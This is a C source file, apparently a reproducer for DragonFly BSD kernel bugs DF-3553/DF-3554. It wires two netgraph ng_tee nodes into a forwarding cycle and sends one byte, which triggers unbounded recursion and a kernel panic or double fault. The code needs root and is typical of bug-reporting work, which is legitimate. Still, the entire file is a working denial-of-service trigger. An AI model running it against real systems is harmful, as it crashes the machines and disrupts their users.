/*
 * DF-3553 (ng7) / DF-3554 (v1) trigger -- ng_tee forwarding cycle.
 *
 * Two ng_tee nodes cross-connected left<->left / right<->right form a
 * packet cycle: data arriving on either tee's "left" is forwarded out
 * "right" (and vice versa), so the packet bounces T1.left -> T2.left ->
 * T2.right -> T1.right -> T1.left ... forever.
 *
 * ENTRY EDGE (what a bare ng_echo pair cannot provide): the socket node's
 * "tap" hook is wired to T1.left2right.  Data entering left2right is
 * forwarded OUT "left" -- straight into the cycle.  One 1-byte sendto()
 * on the data socket is the whole trigger.
 *
 * No node-specific configuration (no SET_PROGRAM etc.) is used: the cycle
 * is pure CONNECT topology.
 *
 *   ng7: each forward is a synchronous ng_snd_item()->ng_apply_item() with
 *        lwkt_gettoken_shared() per hop -> td_toks[] (LWKT_MAXTOKENS=32)
 *        overflow -> "panic: assertion ref < &td->td_toks_end failed"
 *        (same signature as DF-3540).
 *   v1 : ng_send_data() calls the peer rcvdata directly in the write()
 *        syscall context, no hop bound -> kernel thread stack guard ->
 *        DOUBLE FAULT (same signature as DF-3546).
 *
 * Build:  cc -O2 [-DNG7] -o tee_cycle tee_cycle.c
 * Run (root):
 *   v1 : kldload netgraph ng_socket ng_tee  && ./tee_cycle
 *   ng7: kldload <src>/netgraph7/{netgraph,socket,tee}/*.ko && ./tee_cycle
 * Expected: kernel panic while in sendto(); guest goes down.
 */

#include <sys/types.h>
#include <sys/socket.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>

#ifdef NG7
#define NG_VERSION	8
#define GEN_COOKIE	1137070366	/* NGM_GENERIC_COOKIE (ng7) */
struct ngm_hdr_ {			/* ng7 layout (u16->arglen) */
	u_char	version; u_char spare; u_short spare2;
	u_int	arglen, cmd, flags, token, typecookie;
	char	cmdstr[32];
};
#else
#define NG_VERSION	2
#define GEN_COOKIE	851672668	/* NGM_GENERIC_COOKIE (v1) */
struct ngm_hdr_ {			/* v1 layout */
	u_char	version;
	u_char	spare;
	u_int16_t arglen;
	u_int32_t flags;
	u_int32_t token;
	u_int32_t typecookie;
	u_int32_t cmd;
	u_char	cmdstr[32];
};
#endif

#define AF_NG		32
#define NG_CONTROL	2
#define NG_DATA		1
#define NGM_MKPEER	2
#define NGM_CONNECT	3
#define NGM_NAME	4

#define NG_TYPESIZ	32
#define NG_HOOKSIZ	32
#define NG_NODESIZ	32
#define NG_PATHSIZ	512

struct ng_mesg_ { struct ngm_hdr_ header; char data[2048]; };
struct ngm_mkpeer_ { char type[NG_TYPESIZ], ourhook[NG_HOOKSIZ], peerhook[NG_HOOKSIZ]; };
struct ngm_name_  { char name[NG_NODESIZ]; };
struct ngm_connect_ { char path[NG_PATHSIZ], ourhook[NG_HOOKSIZ], peerhook[NG_HOOKSIZ]; };

/* DFly sa_family_t is __uint8_t: sg_len@0, sg_family@1, sg_data@2 */
struct sockaddr_ng_ { u_char sg_len; u_char sg_family; char sg_data[64]; };

static u_int32_t tok = 0x5300;

static int
ngc(int cs, const char *path, u_int cookie, u_int cmd,
    const void *arg, size_t arglen)
{
	struct ng_mesg_ m;
	struct sockaddr_ng_ sa;
	ssize_t n;

	memset(&m, 0, sizeof(m));
	m.header.version = NG_VERSION;
#ifdef NG7
	m.header.arglen = arglen; m.header.cmd = cmd;
	m.header.token = ++tok;   m.header.typecookie = cookie;
#else
	m.header.arglen = arglen; m.header.token = ++tok;
	m.header.typecookie = cookie; m.header.cmd = cmd;
#endif
	if (arglen)
		memcpy(m.data, arg, arglen);

	memset(&sa, 0, sizeof(sa));
	sa.sg_family = AF_NG;
	snprintf(sa.sg_data, sizeof(sa.sg_data), "%s", path);
	sa.sg_len = 2 + strlen(sa.sg_data) + 1;

	n = sendto(cs, &m, sizeof(m.header) + arglen, 0,
	    (struct sockaddr *)&sa, sa.sg_len);
	return (n < 0 ? -1 : 0);
}

#define STEP_OK(f, a, b, c)	printf("STEP %s ok\n", f); fflush(stdout)
#define STEP_FAIL(f)	do {					\
	printf("RESULT %s errno=%d (%s)\n", f, errno, strerror(errno));\
	fflush(stdout); exit(1);					\
} while (0)

int
main(void)
{
	struct ngm_mkpeer_ mkp;
	struct ngm_name_ nm;
	struct ngm_connect_ con;
	struct sockaddr_ng_ sa;
	int cs, ds;

	printf("tee_cycle: uid=%d core=%s\n", getuid(),
#ifdef NG7
	    "ng7"
#else
	    "v1"
#endif
	    );
	fflush(stdout);

	cs = socket(AF_NG, SOCK_DGRAM, NG_CONTROL);
	if (cs < 0) {
		printf("RESULT control-socket errno=%d (%s)\n",
		    errno, strerror(errno));
		if (errno == EPERM || errno == EPROTONOSUPPORT)
			printf("RESULT unpriv-gated (root-only trigger)\n");
		exit(0);
	}

	/* name the control node so the data socket can find it absolutely */
	memset(&nm, 0, sizeof(nm));
	strlcpy(nm.name, "tcyc", sizeof(nm.name));
	if (ngc(cs, ".", GEN_COOKIE, NGM_NAME, &nm, sizeof(nm)) < 0)
		printf("STEP name failed errno=%d (continuing)\n", errno);
	fflush(stdout);

	/*
	 * Graph (pure topology, no per-node config):
	 *   C.tap <-> T1.left2right          (ENTRY EDGE)
	 *   T1.right <-> T2.right
	 *   T1.left  <-> T2.left             (CYCLE)
	 *
	 * v1: in left2right -> out left; in left -> out right; in right -> out left.
	 * ng7 (hook-add order left2right,right,left on T1 / right,left on T2)
	 *     resolves to the same left<->right forwarding.
	 */
	memset(&mkp, 0, sizeof(mkp));
	strlcpy(mkp.type, "tee", sizeof(mkp.type));
	strlcpy(mkp.ourhook, "tap", sizeof(mkp.ourhook));
	strlcpy(mkp.peerhook, "left2right", sizeof(mkp.peerhook));
	if (ngc(cs, ".", GEN_COOKIE, NGM_MKPEER, &mkp, sizeof(mkp)) < 0)
		STEP_FAIL("mkpeer1(tap<->T1.left2right)");
	STEP_OK("mkpeer1", 0, 0, 0);

	memset(&mkp, 0, sizeof(mkp));
	strlcpy(mkp.type, "tee", sizeof(mkp.type));
	strlcpy(mkp.ourhook, "right", sizeof(mkp.ourhook));
	strlcpy(mkp.peerhook, "right", sizeof(mkp.peerhook));
	if (ngc(cs, "tap", GEN_COOKIE, NGM_MKPEER, &mkp, sizeof(mkp)) < 0)
		STEP_FAIL("mkpeer2(T1.right<->T2.right)");
	STEP_OK("mkpeer2", 0, 0, 0);

	memset(&con, 0, sizeof(con));
	strlcpy(con.path, "right", sizeof(con.path));	/* T2, relative to T1 */
	strlcpy(con.ourhook, "left", sizeof(con.ourhook));
	strlcpy(con.peerhook, "left", sizeof(con.peerhook));
	if (ngc(cs, "tap", GEN_COOKIE, NGM_CONNECT, &con, sizeof(con)) < 0)
		STEP_FAIL("connect(T1.left<->T2.left)");
	STEP_OK("connect", 0, 0, 0);

	ds = socket(AF_NG, SOCK_DGRAM, NG_DATA);
	if (ds < 0)
		STEP_FAIL("data-socket");
	memset(&sa, 0, sizeof(sa));
	sa.sg_family = AF_NG;
	strlcpy(sa.sg_data, "tcyc:", sizeof(sa.sg_data));
	sa.sg_len = 2 + strlen(sa.sg_data) + 1;
	if (connect(ds, (struct sockaddr *)&sa, sa.sg_len) < 0)
		STEP_FAIL("data-connect");

	printf("STEP graph built (tee/tee cycle + tap entry), "
	    "injecting 1 byte ...\n");
	fflush(stdout);

	memset(&sa, 0, sizeof(sa));
	sa.sg_family = AF_NG;
	strlcpy(sa.sg_data, "tap", sizeof(sa.sg_data));
	sa.sg_len = 2 + strlen(sa.sg_data) + 1;
	if (sendto(ds, "X", 1, 0, (struct sockaddr *)&sa, sa.sg_len) < 0)
		printf("STEP sendto errno=%d (%s)\n", errno, strerror(errno));
	else
		printf("STEP sendto ok\n");
	fflush(stdout);

	sleep(30);
	printf("RESULT no-panic survived 30s\n");
	return (0);
}
